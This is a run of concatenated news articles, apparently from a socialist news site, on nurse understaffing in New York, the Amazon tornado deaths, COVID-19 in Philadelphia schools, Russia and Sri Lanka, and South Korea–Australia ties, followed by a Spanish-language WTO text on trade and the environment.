Kanak president, Louis Mapou, who was installed in July, followed by the re-election of the pro-independence Roch Wamytan as president, or speaker, of Congress. Meanwhile ordinary Kanaks make up 95 percent of the unemployed and many low-paid workers live in slum conditions. Police clashes with Kanak youth have erupted with increasing violence, prompting demands by local politicians for harsher law and order measures. Noumea remains a socially and economically polarised capital. Class struggles have erupted. November 2020 saw riots and clashes with police over the sale of the Brazilian-owned Goro Nickel plant, which threatened the jobs of 3,000 workers. Broad sections of the working class, including miners, processing workers, truck drivers, airport workers and others have engaged in militant struggles over jobs and conditions, bringing them into conflict with both pro-and anti-independence factions of the ruling class. Throughout the Pacific, formal independence has proven to be a sham. The island states that were granted nominal independence from the 1960s onwards remain totally dependent on the major powers economically and strategically. At a series of rallies that began on November 17, New York City nurses have decried dangerous levels of understaffing at local hospitals. Called by the New York State Nurses Association (NYSNA), these protests have been held at New York Presbyterian Columbia, Mount Sinai Morningside, Staten Island University Hospital and, most recently, Montefiore Bronx. NYSNA also held a rally at New York Presbyterian Hudson Valley in Cortlandt, New York. Nurses are scrambling to care for our patients in an ongoing understaffing crisis that reaches into every floor every day, registered nurse Magdalena Spero told the Staten Island Advance. While there are fewer of us, patients are arriving much sicker because they stayed away due to COVID-19. Fewer nurses, sicker patients: thats a recipe for dangerous conditions. The staffing crisis has gotten worse in the last year. Nurses who retired or left after suffering burn-out from working conditions, and having worked through two or three surges of the pandemic have not been replaced, leaving hundreds of nursing positions vacant. There are 60 registered nurse positions at Staten Island University Hospital alone that have been vacant for almost a year. New York City nurses protest over staffing levels (Credit: NYSNA) As a result, bad conditions have become worse for the nurses that remain. One speaker at the rally at New York Presbyterian Columbia said that the patient-to-nurse ratio is as high as 30:1 in the Pediatric Emergency department on some shifts. Medical-surgical nurses across New York have had to care for seven or eight post-operative and other cardiac patients, even though the recommended maximum assignment is five. Similarly, oncology nurses often have had to care for eight or nine patients, when the optimal maximum is six. Understaffing also contributed to the temporary closure of the Long Beach Emergency Care Facility in Long Island, New York. The refusal of eight nurses to receive the coronavirus vaccine in late November reduced the number of available workers enough to shut down the facility, which Mount Sinai South Nassau operates. Patients were diverted temporarily to the hospitals main campus five miles away. Madeline Hernandez, who spoke at the Mount Sinai Morningside/West rally, said nearly 50 nurses in her department have left in the last few months. She said this was the result of a combination of the pandemic and short staff burnout, along with planned retirement. A high number of retirements were anticipated in 2020, and she says Mount Sinai and other hospitals should have been better prepared. It is really hard to be able to spend time with a patient at their bedside when you know you just got two or three more patients, or you are being called to the trauma room, to take care of patients who are coming in who need your attention right away, she said. Kiera Downes-Vogel, a labor and delivery nurse who attended one of the rallies, told the Manhattan Times that the most recent contract between NYSNA and Mount Sinai requires her unit to have 17 nurses per shift. Yesterday, every bed was taken, and we had 12 nurses, she said. Lucy Eisenstein Waldman, a member of the NYSNA executive committee at Mount Sinai West said, We have done everything we can do. We have had countless meetings with Mount Sinai management to focus on nurse retention and improve patient safety. She added that on the mother/baby unit where she works there is supposed to be one nurse for every three mothers and their babies. Recently, there have been shifts when there was one nurse for 10 mothers, putting patient safety and care at risk. NYSNAs proposed solution to the understaffing crisis has been to have nurses appeal to the higher echelons of management to listen to their grievances and to wait for a safe staffing law, passed by the Democratic-controlled state legislature, to take effect in January. NYSNA has proclaimed it as a victory for health care workers. Seeking to pose as friends of labor, local Democratic politicians have attended NYSNAs rallies, touting their support for the law. The most obvious flaw of this putative reform is that it requires two groups with diametrically opposed interests, health care workers and hospital administrators, to negotiate staffing levels. Even if nurses and administrators were somehow to agree upon staffing levels that have been demonstrated to improve patient outcomes and reduce strain on health care workers, experience shows that these levels would not be enforced. The law will not force hospitals to hire more nurses. Hospital understaffing is not unique to New York; it is a national problem. The situation in other states that have, using different tactics, made token efforts to address it is instructive. In California, for example, nurse-patient ratios for each type of unit are mandated by state law. Despite this apparently stricter, more straightforward approach, hospitals routinely flout the requirements without facing consequences. Safe staffing levels are not enforced, which reduces the standard of care and increases health care workers stress. Staffing problems will increasingly worsen with the omicron variant added to the winter surge. Nurses want to fight for better staffing, but NYSNA and other nurses unions are consciously leading health care workers into a dead end. To protect their six-figure salaries and privileges, the pro-corporate union bureaucrats limit nurses actions to symbolic protests and pleas to the Democratic Party, which defends the profits of Wall Street. For their fight to succeed, nurses must break from the trade unions and both capitalist political parties. They must form rank-and-file committees of nurses and other health care workers to fight for the highest quality of care for patients and decent working conditions for all health care workers, linking up with other committees being established across the US and around the world in the common struggle to place the defense of human life over the pursuit of profit. On Monday the WSWS spoke to Rachel Cope, whose brother, Clayton Lynn Cope, was killed in an Amazon warehouse in Edwardsville, Illinois while trying to alert his coworkers to seek cover as a tornado barreled down upon the facility. Over 100 are feared dead in the wake of the multi-state tornado outbreak. Numerous warnings were made in the days and hours leading up to the tragedy by local news and the National Weather Service of tornadoes Friday night, with tornado sirens even being ignored by management in the minutes leading up to the tragedy. With blatant disregard for workers safety and lives, Amazon did not cancel the shift, resulting in six deaths when half of the flimsy building collapsed as a tornado tore through it. Chase Lawrence: I read another article on factory workers being threatened with being fired after they voiced concerns and asked if they could leave at the Mayfield, Kentucky candle factory, which was also smashed in the storm. Do you know of the concerns being voiced at the Amazon plant by workers before the tornado hit? Clayton Cope (family photo) Rachel Cope: I do, drivers were wanting to go home but they were telling them they could not and had to come back to the warehouse even though sirens were actively going off. My father worked in the same building and he was on the phone with my brother right before the building collapsed and my brother was going to warn the incoming drivers to get inside to the shelter since they had not been allowed to get to their own shelter. Sirens had sounded twice before the tornado hit and there is no reason that employees were not allowed to get to the shelter after the first siren and severe weather warning. CL: Its really reckless and criminal what they did, especially even after the sirens went off twice. Did Amazon say anything preceding the storm? There were weather reports days out from the National Weather Service and local news warning of tornadoes on Friday night, so they must have been well aware of the risk. RC: There is no reason people should have been scrambling last minute to get to shelter. There should be protocol in place for inclement weather, Christmas rush or not. Its sickening. And they did not that I am aware of. Not that I am surprised. CL: What are workers at the plant saying about the collapse, or sort of the general feeling or sentiment? RC: They are feeling unsafe and not protected, from what I have heard. CL: Did you hear about Jeff Bezoss response to the warehouse collapse, which was on Saturday? RC: I did not, I was not expecting much from him. CL: Well, you would be correct. He sent some boilerplate response Saturday evening, only after celebrating the landing of his space tourism-vehicle Blue Origin, and an earlier photo op that day. He also had a party set up that day, but since he was in West, Texas that morning it is not known if he attended it. His tweet did not go over well. RC: What an empty response to building a work culture of profits over livelihood. Workers were too afraid of being reprimanded by the company around the holidays that they did not think about their lives being in danger, and that should never be how someone feels in their workplace. CL: I read your brother was rushing to help people get to safety. Could you speak to that, what was happening at the point? How were people getting to the shelter, what did that look like? RC: There were drivers being forced to come back to the warehouse. While my dad was on the phone with my brother Clay, he was saying he was going to go and warn them to get to the shelter because they had only been told to return to the warehouse, that they could not go home or anything like that, so someone had to warn them. He was going to the other side of the building since the shelter was on the opposite side of where the drivers would be coming in to help when the building collapsed. CL: Thank you for taking the time to speak on this. Are there any remarks or anything else you would like our readers to know? RC: Just to be mindful of where you are shopping this year for the holidays. And to really start to think about how workers are treated and made to feel in the workplace when you are considered a low-wage worker. To contact the Pennsylvania Educators Rank-and-File Safety Committee, email our committee at paedrankandfile@gmail.com, text (412) 336-8245 or visit this page. Alayna Thach, a 17-year-old senior at Olney Charter High School in northside Philadelphia, Pennsylvania, died on Monday after battling COVID-19 for the past week. She is now the 20th child under 18 years old to die from the virus in Pennsylvania, the result of the social policy of reopening schools before the pandemic is stopped. A gofundme page has been set up to help with funeral costs. By Tuesday afternoon, the page had already received over $11,700 in donations within just 15 hours of being set up. Alayna Thach (family photo) The page describes the rapidity with which COVID-19 devastated Alayna, noting: Alayna started getting sick from Covid only a week ago, she developed Covid Pneumonia where her lungs and heart collapsed along with the rest of her organs causing severe brain damage from hypoxia. Her care team responded with life support procedures in attempt to save her. All medical options were exhausted before her body became too weak to fight on. Ashanti, now a student at Pace University, went to school with Alayna last year. She told the World Socialist Web Site, We used to be in the same program at school called Innovate her, until I graduated this year. Alayna was a really nice girl, and she had her whole life ahead of her. This was her senior year. When asked about the reopening of schools and the demand by the WSWS that schools be kept virtual until the pandemic is ended, Ashanti stated, I agree with you on that, adding, I dont think anyone should have been sent back to school. I feel like if students werent sent back to school maybe Alaynas death could have been prevented. I feel upset that this happened to her. Im still in disbelief. Last year, while learning was still remote, Alayna circulated a petition calling for classes and lunches to be held outside. She expressed concern for COVID-19, as well as the mental health of fellow students and the lack of high speed internet and the other resources students needed for virtual learning. The pandemic is ripping through schools throughout Philadelphia and the United States. Olney Charter High School does not have a dashboard on its web site of COVID-19 cases and has yet to even acknowledge Alaynas death, but sources at the school say many students have become sick and hundreds more exposed. Teachers were first informed that Alayna was seriously sick on Monday and were notified early this Tuesday morning that she had died. One of Alaynas teachers told the WSWS: She was an honor student; it was a great loss. She was well loved by everyone. She was involved in all aspects of our school. We dont know where she contracted the virus, at school, at home, or somewhere else. We tried hard to prevent it. If we had screening testing, maybe we could have caught it sooner. She was very popular and well loved. The entire School District of Philadelphia system reported 262 new COVID-19 cases for the week ending December 4, nearly double the 149 reported for each of the previous two weeks. Even this figure is an undercount, since the school district does not have a testing program and only students who self-report or go to the nurse are counted. As with the more than 800,000 deaths across the US, Alaynas death could have been prevented. Throughout the pandemic, the dangers confronting children and young people have been continuously downplayed. Both the Trump and Biden administrations, as well as the corporate-controlled media, have lied by saying that children do not catch COVID-19 or when they do it is not very serious. In February, as Philadelphias Democratic Mayor Jim Kenney and Philadelphia Federation of Teachers (PFT) President Jerry T. Jordan were negotiating the unsafe reopening of Philadelphia schools, US President Joe Biden lied directly to a second grader on national television, telling her Kids dont get COVID very often. Its unusual for that to happen. He added, Youre in the safest group of people in the whole world. The same lies have been repeated throughout this fall semester, as the COVID-19 pandemic continues to take its toll on young people. On Monday, the American Academy of Pediatrics (AAP) released its weekly report on child infections, hospitalizations and deaths from COVID-19. The report found that for the week ending December 9, there were 164,289 official new cases among children, the 18th straight week of over 100,000 official new cases. Increases were seen in all US regions, with record numbers of infections in the Northeast and Midwest and major spikes in the South and West. Official new child COVID-19 cases documented by the AAP The AAP also reported 17 new deaths among children, the highest figure in nearly two months. According to the Centers for Disease Control and Prevention, the total number of children under 18 years old who have died from COVID-19 in the US now stands at 997. The Philadelphia region and Pennsylvania have seen a drastic rise in the number of cases, hospitalizations and deaths since the reopening of school in August, with numbers skyrocketing in the past few weeks as cooler weather sets in. The seven-day average of daily new cases for Philadelphia reached a trough in July at fewer than 20 new cases per day. Governor Tom Wolf, echoing the Biden administrations claim that the pandemic was over, lifted most restrictions on indoor dining, bars and theaters, along with the reopening of schools in Philadelphia and throughout the state for fully in-person instruction. The reopening of schools was seen as necessary so that parents and caregivers could be forced back to work. Seven-day moving average of daily new cases in Pennsylvania The result of these reckless reopening policies was as tragic as it was predictable. In the past 14 days, cases are up a staggering 122 percent in Philadelphia and hospitalizations are up 43 percent. Einstein Medical Center Philadelphia, the nearest hospital to Alaynas school, is reporting that it is at 104 percent capacity. Similar horrific numbers exist for all surrounding counties and throughout Pennsylvania. Bucks County cases are up 114 percent and hospitalizations up 40 percent in the past two weeks. Delaware County cases are up 107 percent and hospitalizations up 45 percent. Montgomery County cases are up 105 percent and hospitalization 40 percent. Berks and Chester County cases are up 100 percent and hospitalizations 23 and 16 percent respectively. All of Pennsylvania has seen a 52 percent rise in cases and a 21 percent increase in hospitalizations over the past two weeks. The rapid rise in COVID-19 cases, hospitalizations and deaths is taking place even before the onset of the winter months and severe temperatures force most people indoors and prevent the opening of windows. The much more contagious Omicron variant has been detected in Philadelphia but is not yet the dominant strain. As it spreads in Philadelphia and the rest of the region, cases are sure to increase even further. The Philadelphia Federation of Teachers also bears responsibility for the massive surge in COVID-19 cases and ultimately Alaynas death. Alongside the national American Federation of Teachers, the PFT pushed for the reopening of Philadelphia schools, one of the largest districts in the country, as part of the push to return all students to in-person learning no matter the cost to the lives and health of teachers, students and the community. In contrast, the Pennsylvania Educators Rank-and-File Safety Committee has campaigned throughout the pandemic to stop in-person learning until COVID-19 is eliminated, with full income protection for all those who cannot work. This must be combined with a massive public health campaign, including vaccinations, testing, contact tracing, the safe isolation of infected patients, and all other measures to end the transmission of COVID-19. For more information about joining this fight, email our committee at paedrankandfile@gmail.com, text (412) 336-8245 or visit this page. Russia continues to experience extremely high daily COVID-19 infections, as the spread of the Omicron variant threatens the country with yet another surge. While new cases have declined over the last week by about 7.3 percent and are currently hovering around 29,000 a day, they have yet to fall below previous highs seen in February 2021. On Tuesday, the country added another 1,176 officially recorded COVID-19 deaths, bringing the total number of those who have perished from the disease to over 289,000. According to the federal statistical agency Rosstat, whose data includes COVID-19 fatalities otherwise attributed to individuals co-morbidities, as of October of this year 537,000 Russians had lost their lives from the coronavirus. Schools across the country continue to shutter their doors due to infections and exposures. In the city of Yekaterinburg, 350 classrooms in K-12 schools and kindergartens are in quarantine. In Nizhegorodsky Oblast, over 1,000 have also been closed or switched to online learning. The head of that regions ministry of health recently told the press that he expects another COVID-19 wave to hit the area in mid-January, with infections driven by illness among children. In the Siberian city of Yakutsk, cases among those under 18 are rising. Two hundred forty tons of oxygen were just delivered to the city by riverboat with the aid of an icebreaker. Medics wearing special suits to protect against coronavirus treat patients with coronavirus at an ICU of a hospital in Volgograd, Russia, Sunday, Nov. 21, 2021. (AP Photo/Alexandr Kulikov) Speaking at a meeting of cabinet ministers on Wednesday, Russias Vice Premier Tatyana Golikova indicated that the government anticipates further spread of COVID-19 as the Omicron variant penetrates Russia. She warned that each individual infected with the new form of the disease generally passes it along to three others, a four-fold increase over the Delta variant. This will result in increasing pressure on the countrys healthcare system, Golikova noted. It has already been buckling under the weight of the current surge. Despite declaring that the Kremlin is preparing a plan to handle the forthcoming situation, she released no details as to what it intends to do. Instead, Golikova appealed to regional authorities to strengthen their efforts and prepare for the imposition of restrictions on mass gatherings and in public places, as well as the extension of the school winter holidays. For some time now, the Kremlin has largely rolled back all COVID-19 mandates coming from the central government and dumped the problem on local health ministries, resulting in a hodge-podge of measures from one place to the next. The day before Golikova spoke, the head of the Russian parliament declared that lawmakers were abandoning efforts to pass federal legislation that would have required people to show a QR code proving either vaccination or prior infection in order to use many forms of public transportation. Simultaneously, Moscow mayor Sergei Sobyanin announced that the citywhere the majority of COVID-19 cases is concentratedwas unilaterally extending the length of time that QR codes given to individuals due to their having already gotten COVID-19 would be valid. It is increasing from 6 to 12 months. All of this is happening as the danger from Omicron is rapidly becoming apparent. Sobyanins declaration came alongside news that among the 16 individuals in Russia so far determined to have the Omicron variant, 7 had already had the disease and 11 were fully vaccinated, including one person who fell in both categories. Similar data are emerging from other studies internationally. Clearly alarmed by the growing evidence that those with COVID-19 antibodies do not have significant protection from Omicron, makers of the Russian Sputnik V vaccine declared this week that they are working to modify the shot to boost the immune response it provokes against the new variant. Currently less than 50 percent of the countrys population is fully vaccinated. While vaccine uptake has been rising, at the current rate it would take many months to achieve adequate population-wide protection and a recent study by the Levada Center, a Russian polling agency, found that 36 percent of respondents said they had no intention of ever getting vaccinated and 53 percent oppose obligatory inoculation. The skepticism, even outright hostility, towards vaccination for COVID-19 within the Russian population is evident. It reflects deep distrust towards a government that has for decades presided over a massive growth in social inequality, a process that has only accelerated during the pandemic with efforts made to help ordinary people withstand COVID-19s economic impact that can, at best, be described as pathetic. At the same time, the downplaying of the dangers of the disease by the authorities and the promotion of anti-scientific outlooks has contributed to a situation in which 53 percent of Russians, according to the Levada Center, say they are unafraid of infection. In a deranged expression of social frustrations provoked by the pandemic and the governments response, last week, a 45-year-old lieutenant colonel in the Russian army, shot up a government office in Moscow after a confrontation with a security guard over masking. Two people died and another three were injured, including a 10-year old girl who went to the hospital in critical condition. A December 8 guest essay in the New York Times by Alexei Kovalev, an editor at one of Russias leading liberal news outlets, gleefully declared that COVID-19 is beating Putin. One almost gets the sense that these layers revel in the social destruction wrought. What is conspicuously left out of Kovalevs commentary, however, is the glaring fact that disastrous policies of the Putin government are identical to those pursued by virtually every other government on the planetabove all, the United States. South Korean President Moon Jae-in is in Australia on a four-day visitthe first in-person trip to Australia by a head of state since the start of the COVID-19 pandemic. While the visit nominally marks the 60th anniversary of diplomatic relations, it is a significant boost to strategic and economic ties between the two countries. With Washington aggressively ramping up tensions with Beijing, both Australia and South Korea are formal military allies of the United States and host US military bases. South Korea houses some 28,500 American military personnel and is integrated into US anti-missile systems aimed against China. The US has basing arrangements for US Marines, warplanes and warships in Australia, which also hosts critical facilities, such as the Pine Gap base in central Australia, that are essential to US military operations throughout Asia and the Middle East. South Korean President Moon Jae-in, center, lays a wreath at the tomb of the unknown soldier during a visit to the Australian War Memorial in Canberra, Australia on Monday, December 13, 2021. (Lukas Coch/Pool Photo via AP) Together with the US, Japan and India, Australia is a member of the quasi-military alliance known as the Quadrilateral Security Dialogue or Quad, which the Biden administration has strengthened this year. In addition, the AUKUS pact signed earlier this year with the US and the UK includes the provision of nuclear-powered submarines to Australia. South Korea is not part of the Quad or AUKUS, but would quickly be involved in any US war against China. Moon declared that his visit had nothing to do with our position over China, yet the strengthening of strategic ties with Australia inevitably draws South Korea more closely into the web of US military alliances and strategic partnerships in Asia developed by Washington in preparation for conflict with China. Moon met with Australian Prime Minister Scott Morrison on Monday and formally elevated ties to a Comprehensive Strategic Partnership. While the South Korean president was careful not to raise tensions with China, his countrys largest trading partner, he did signal support for AUKUSwhich is unmistakeably aimed against Beijing. Asked about AUKUS, Moon declared: This is a decision made by Australia as a sovereign nation, and we respect that. Australia is making efforts for peace and prosperity in the Indo-Pacific region. The aggressive character of the AUKUS agreement is betrayed, however, by the supply of attack submarines whose only purpose is to operate for long periods at great distances from Australiain waters close to the Chinese mainland. Significantly, in a joint statement, Moon and Morrison repeated Washingtons propaganda directed against Chinas maritime and territorial claims in the strategic South China Sea. They called for adherence to international law in the maritime domain and upholding freedom of navigation and overflight in the context of increasing risks of instability in the maritime domain. The US has routinely heightened the risks of instability by carrying out provocative freedom of navigation operationsdeliberately sending US warships into territorial waters claimed by China around islets under its control in the South China Sea. These waters are not only the strategic lifeline for Chinas trade with the world, but sit adjacent to its sensitive naval bases on Hainan Island. At the same time, Moon said South Korea would not join the Biden administrations latest diplomatic attack on Chinathe US boycott of the Beijing Winter Olympics that has been joined by Australia and a handful of other countries. He said his administration was not even considering a boycott measure. Nevertheless, the military content of the Comprehensive Strategic Partnership between the two countries was clear from agreements signed by the leaders. These included a $A1 billion deal for the South Korea defence giant Hanwha to establish a factory in Geelong, Australia to build 30 self-propelled howitzers and 15 armoured ammunition resupply vehicles for the Australian army. The military contract is the largest ever with an Asian country, and both countries have an eye on its extension to other weaponry. Hanwha will partner with the Australian government to create an Armoured Vehicle Centre of Excellence in the Geelong region and is bidding for a $30 billion contract to build new infantry fighting vehicles for the Australian Army. Morrison and Moon also signed an agreement to strengthen cooperation on stable supply chains for critical minerals, saying it was important not only for the two countries, but also for the global economy. Moon declared: Australia, the worlds richest country in mineral resources, and Korea, a major producer of batteries and electric vehicles, play an important role in the global supply chain. The issue of global supply chains has emerged not only as a result of the impact of COVID-19 around the world, but also from heightened US-China tensions. China is the worlds top producer of rare earths, accounting for 90 percent of production. These are essential for the manufacture of sophisticated military hardware, as well as commercial goods. The US military has been pushing to secure essential strategic items, including rare earths. While the rare earths found in mineral sands are not rare as such, their production is very expensive. The South China Morning Post reported in March that the Australian rare earth producer ASM had closed a deal with two regional governments in South Korea to build its first processing plant for critical minerals. The factory will be built near major Korean manufacturing companiesincluding LG Chemical and Samsung SDIand will begin by producing high-purity neodymium-iron-boron powder and titanium powder. The very fact that Moon travelled to Australia in person with his accompanying party of officials also underscored the determination of both governments to press ahead with their irresponsible policy of opening up, even as the COVID-19 pandemic continues to spiral out of control. The highly-infectious Omicron variant has already gained a foothold in both countries. As of today, the Morrison government has opened Australias borders to international workers and students after a token two-week pause in response to the Omicron variant. Travellers from Japan and South Korea were also subject to the pause, which has now been lifted. The opening of the borders flies in the face of warnings from health experts that the end of restrictions will inevitably lead to an acceleration of infections, hospitalisations and deaths. Colombo Port and Katunayake Free Trade Zone workers last week voiced support for the Global Workers Inquest into the COVID-19 Pandemic, initiated by the World Socialist Web Site. They also shared with our correspondents their bitter experiences over the past two years. Colombo harbour employees are particularly concerned about the Sri Lanka Ports Authoritys (SLPA) latest move to do away with limited COVID safety measures. When infections began spreading among port workers, the SLPA was initially forced to limit calling in employees to work and a batch system was introduced. Colombo Port workers protest in July 2020 (WSWS Media) Authority officials attempted to do away with this system and call all workers in regularly from last week, but workers opposed this move and it was temporarily halted. A worker in the Colombo harbour repair section said the workers inquest was timely: I read the WSWS statement on the day it was published. Immediately I registered online my willingness to participate in the inquest. Some health safety measures were taken here when the virus began to affect employees Even then, a large number of workers were infected. On many occasions, workers were infected when they were travelling in public transport. As port work was declared an essential public service, workers were forced to work even when the country was locked down. Limited PCR (polymerase chain reaction) tests were stopped by January. Today, even if a worker is infected, he has to do a PCR test personally. Now, face masks are not properly provided. Only a section of harbour workers has been given the booster vaccination. More than 1,000 workers have been infected so far. Some of them have not been completely cured. Some are even unable to work. Though this is the situation, management decided to call the entire workforce into service from December 6 on regular basis. This decision was cancelled due to the vehement opposition of the workers. Hearing that management was planning to implement this decision once again from December 13, workers petitioned through unions, noting that calling all workers to service at once was putting them into danger. The concern of management, as well as the government, is to increase profits not protect lives. Under the profit-driven capitalist system, there are no solutions for the global pandemic. I agree with the WSWS that workers should organise independently on the basis of a socialist program. A worker at the harbours naval division commented: The reopening of the economy is giving priority to profit. All the workers in the harbour were called on to work. This will pave the way for more infections. I agree that there is no solution for the pandemic under the capitalist system. The inquest initiated by the WSWS is very important. All information on the spread of the virus should be made public. I will try to obtain the statistics in the harbour. Since last year, port workers, like other sections of the working class, have faced inadequate safety measures by the government and the SLPA. President Gotabhaya Rajapakses government took no significant measures to overhaul the health system, which has been dilapidated for decades, and did not implement systematic tracing, testing and healthcare measures. In November 2020, when dozens of port workers were infected, the attendance of workers sharply dropped. Rajapakse issued an extraordinary gazette notification proclaiming the port an essential public service. This repressive law bans industrial action and makes non-attendence at work illegal. Violations of essential services regulations carry heavy punishments, including dismissal and jailing. A Socialist Equality Party (SEP) statement condemned this draconian law, saying: The Rajapakse governments attack on democratic rights of the harbour workers is a warning to the entire working class and an escalation of its criminal efforts to force the workers to work even when the coronavirus pandemic is spreading throughout the entire island. The statement called on workers to come forward to defend all the harbour workers and force the government to reverse the essential service order. Not one of the trade unions or opposition parties opposed this ruthless order. Workers demonstrating outside Next garment factory in 2020 [Credit: WSWS Media] Katunayake Free Trade Zone (KFTZ) workers denounced the governments failure to control the pandemic. A female worker from a village in the Puttalam District, who had been working at a Smart Shirt factory in the KFTZ for about six years, explained that its employees had been vaccinated with two doses in July, but conditions remained unsafe. The coronavirus had not stopped anywhere and new variants were emerging. Initially random tests were done from time to time but now that does not seem to be continued. Only when infections are found, others in the vicinity are subjected to PCR tests and infected people are referred to quarantine. Free trade zone factories had not maintained social distancing. As the disease spread, certain precautions were taken but later abandoned. Although the government insists people should take precautions, how could that be done? Workers travel in congested buses and cannot maintain social distancing. She recalled how workers suffered at the Brandix garment factory in Minuwangoda. Brandix is huge conglomerate employing more than 40,000 workers in Sri Lanka. Hundreds were infected at the factory but management forced workers to continue working until the infections were exposed and mass outrage erupted. The government says vaccination is the solution, she said, but vaccinated workers had been infected for the second time. The disease needs to be eliminated from the world, but they [the governments] have not taken any action. All governments are responsible for this devastation. Although she had worked in the factory for about five years, her monthly basic salary was less than 22,000 rupees ($US110) and the maximum salary was about 50,000 rupees. We are working hard, not even having time to drink water, she explained. Employees are having a hard time these days. The management makes us exhausted. A United Tobacco Process factory worker said the virus, which emerged two years ago, should have been fully suppressed from the outset. Governments and big business did not care about the public. Though information about the spread of the coronavirus in Sri Lanka is limited, it has not gone, she said. The media is not telling the truth. Even now, many people are dying, but that is still not revealed. About 800 employees at her factory were infected, including herself, and later her daughter was infected. No one is taking responsibility for the virus. It is not the people who should be held accountable, but the authorities who hold office We must point the finger at those who said they would take care of us. We urge workers, youth and intellectuals to support and participate in the workers inquest. As the WSWS statement explained on November 21: Drawing upon the research of scientists, the knowledge of public health experts and the real-world experience of working people and students, the inquest will investigate and document the disastrous response of governments, corporations and the media to the outbreak of SARS-CoV-2, the virus that causes COVID-19. It will seek to expose the political and economic forces and interests that drove the policies that allowed the uncontrolled transmission of the virus and its development into a catastrophic pandemic that has killed millions worldwide. Los copatrocinadores de las tres iniciativas los Debates Estructurados sobre el Comercio y la Sostenibilidad Ambiental (Debates Estructurados), el Dialogo Informal sobre la Contaminacion Producida por los Plasticos y el Comercio de Plasticos Ambientalmente Sostenible (Dialogo Informal sobre los Plasticos) y la Reforma de las Subvenciones a los Combustibles Fosiles) dijeron que avanzarian y examinarian el modo en que el comercio y las normas comerciales pueden desempenar un papel positivo para responder a cada una de sus preocupaciones, y el modo en que estas cuestiones podrian tratarse eficazmente en el marco de la OMC. El numero de copatrocinadores sigue aumentando y cerca de la mitad de los Miembros de la OMC participan ahora en una o varias de estas iniciativas. Estos copatrocinadores reflejan la diversidad de los Miembros de la Organizacion, desde pequenas economias insulares hasta grandes paises desarrollados y en desarrollo. La Directora General Okonjo-Iweala describio la reunion de los copatrocinadores como un momento historico para la OMC. Los problemas relacionados con los bienes comunes globales representan unas de las mayores amenazas para la prosperidad y la seguridad futuras de poblaciones del mundo entero. Hoy, ustedes estan demostrando que quieren que la OMC desempene un papel positivo en la resolucion de estos problemas. Anadio que el comercio, y la OMC, forman parte de la solucion al cambio climatico y a la degradacion del medio ambiente. Su alocucion completa se puede consultar aqui. El Comisario de Comercio de la Union Europea Valdis Dombrovskis senalo que, si bien muchos paises ya estan llevando adelante iniciativas de politica solidas para ecologizar el comercio, la cooperacion multilateral tambien debe desempenar un papel importante. Es preciso configurar las normas del comercio mundial para que ayuden a proporcionar una respuesta mundial, dijo. Esta es la razon por la que estas declaraciones conjuntas sobre cuestiones relacionadas con el clima y el medio ambiente importan. Cada una de ellas representa un hito importante. Son inclusivas, ya que representan a todas las regiones del mundo y a todos los niveles de desarrollo economico. Tienen en cuenta las opiniones de las partes interesadas. El Ministro de Comercio Exterior de Costa Rica Andres Valenciano, cuyo pais coordina las conversaciones en el marco de los Debates Estructurados junto con el Canada, describio la presentacion de las tres comunicaciones ministeriales sobre el medio ambiente como un hito importante para el sistema multilateral de comercio. Por lo que respecta a los debates sobre el comercio y la sostenibilidad ambiental, tenemos mas del 80% del comercio mundial representado en los Debates Estructurados, lo cual no es desdenable, anadio. Nuestro planeta ha dejado oir su voz: no hay tiempo que perder. Dan Tehan, Ministro de Comercio, Turismo e Inversiones de Australia, tambien destaco la importancia de la actividad conjunta. Australia coordina los debates en el marco del Dialogo Informal sobre los Plasticos junto con China, El Ecuador, Barbados, Fiji y Marruecos. Los Miembros se han reunido para iniciar esfuerzos destinados a abordar cuestiones vitales para nuestro futuro, dijo. Hoy, reconocemos conjuntamente que el comercio tiene un papel importante que desempenar en la sostenibilidad ambiental, y demostramos que estamos dispuestos a adoptar medidas. Para hacer frente a los retos mundiales, tenemos que adoptar respuestas mundiales, anadio Julio Jose Prado, Ministro de Produccion, Comercio Exterior, Inversiones y Pesca del Ecuador. Un problema de esta magnitud exige una respuesta colectiva y coordinada. Y reconocer este problema nos afecta a todos: debemos alentar la participacion de todos los Miembros y tambien de multiples partes interesadas. Hablando en nombre de los copatrocinadores de los debates sobre la las Subvenciones a los Combustibles Fosiles, el Ministro de Comercio y Fomento de las Exportaciones de Nueva Zelandia, Damien O'Connor, dijo: Juntos demostraremos que las politicas comerciales pueden marcar la diferencia. A traves de nuestros esfuerzos, apoyaremos los progresos hacia un futuro mas limpio que contribuya al objetivo del Acuerdo de Marrakech de lograr un desarrollo sostenible, procurando proteger y preservar el medio ambiente en el que todos vivimos, declaro. Los debates en el marco de las iniciativas tienen lugar por separado, con diferentes configuraciones de Miembros en cada una de las iniciativas que persiguen metas diferentes. Sin embargo, las tres iniciativas tienen el objetivo comun de apoyar los Objetivos de Desarrollo Sostenible y sus debates estan abiertos a la participacion de todos los Miembros de la OMC. Subrayando el caracter abierto de los debates, se ha invitado a participar en los intercambios a representantes de grupos de la sociedad civil, del mundo empresarial y de otras organizaciones internacionales. Muchos de los copatrocinadores tambien comparten un compromiso de armonizar sus esfuerzos con las iniciativas ambientales internacionales, con el fin de asegurar que el comercio pueda formar parte de la solucion para hacer frente a grandes desafios, como el cambio climatico, la contaminacion de los plasticos y la construccion de una economia mundial sostenible, asegurando al mismo tiempo que se tengan plenamente en cuenta las necesidades y los problemas de los paises en desarrollo y los paises menos adelantados. Las consideraciones ambientales forman parte del mandato de la OMC. En el preambulo del Acuerdo de Marrakech por el que se establece la OMC se enuncia el objetivo de acrecentar la produccion y el comercio de bienes y servicios, permitiendo al mismo tiempo la utilizacion optima de los recursos mundiales de conformidad con el objetivo de un desarrollo sostenible y procurando proteger y preservar el medio ambiente e incrementar los medios para hacerlo, de manera compatible con sus respectivas necesidades e intereses segun los diferentes niveles de desarrollo economico. En los comienzos de la OMC en 1995 se establecio un Comite de Comercio y Medio Ambiente (CCMA) con el mandato de identificar y comprender la relacion entre el comercio y el medio ambiente con el fin de promover el desarrollo sostenible. El CCMA desempena un papel importante en el examen del nexo entre el comercio y el medio ambiente y sirve de foro para el debate y el intercambio de experiencias entre todos los Miembros de la OMC. Setenta y un Miembros de la OMC participan actualmente en los Debates Estructurados, que se pusieron en marcha en noviembre de 2020 con el objetivo de complementar los trabajos actuales del Comite de Comercio y Medio Ambiente de la OMC y otros comites y organos pertinentes de la OMC. La iniciativa tiene por objeto promover la transparencia y el intercambio de informacion e identificar esferas para la labor futura en el marco de la OMC. Con ella tambien se pretende apoyar las necesidades de asistencia tecnica y de creacion de capacidad, en particular de los paises menos adelantados, y estudiar posibles resultados de sostenibilidad 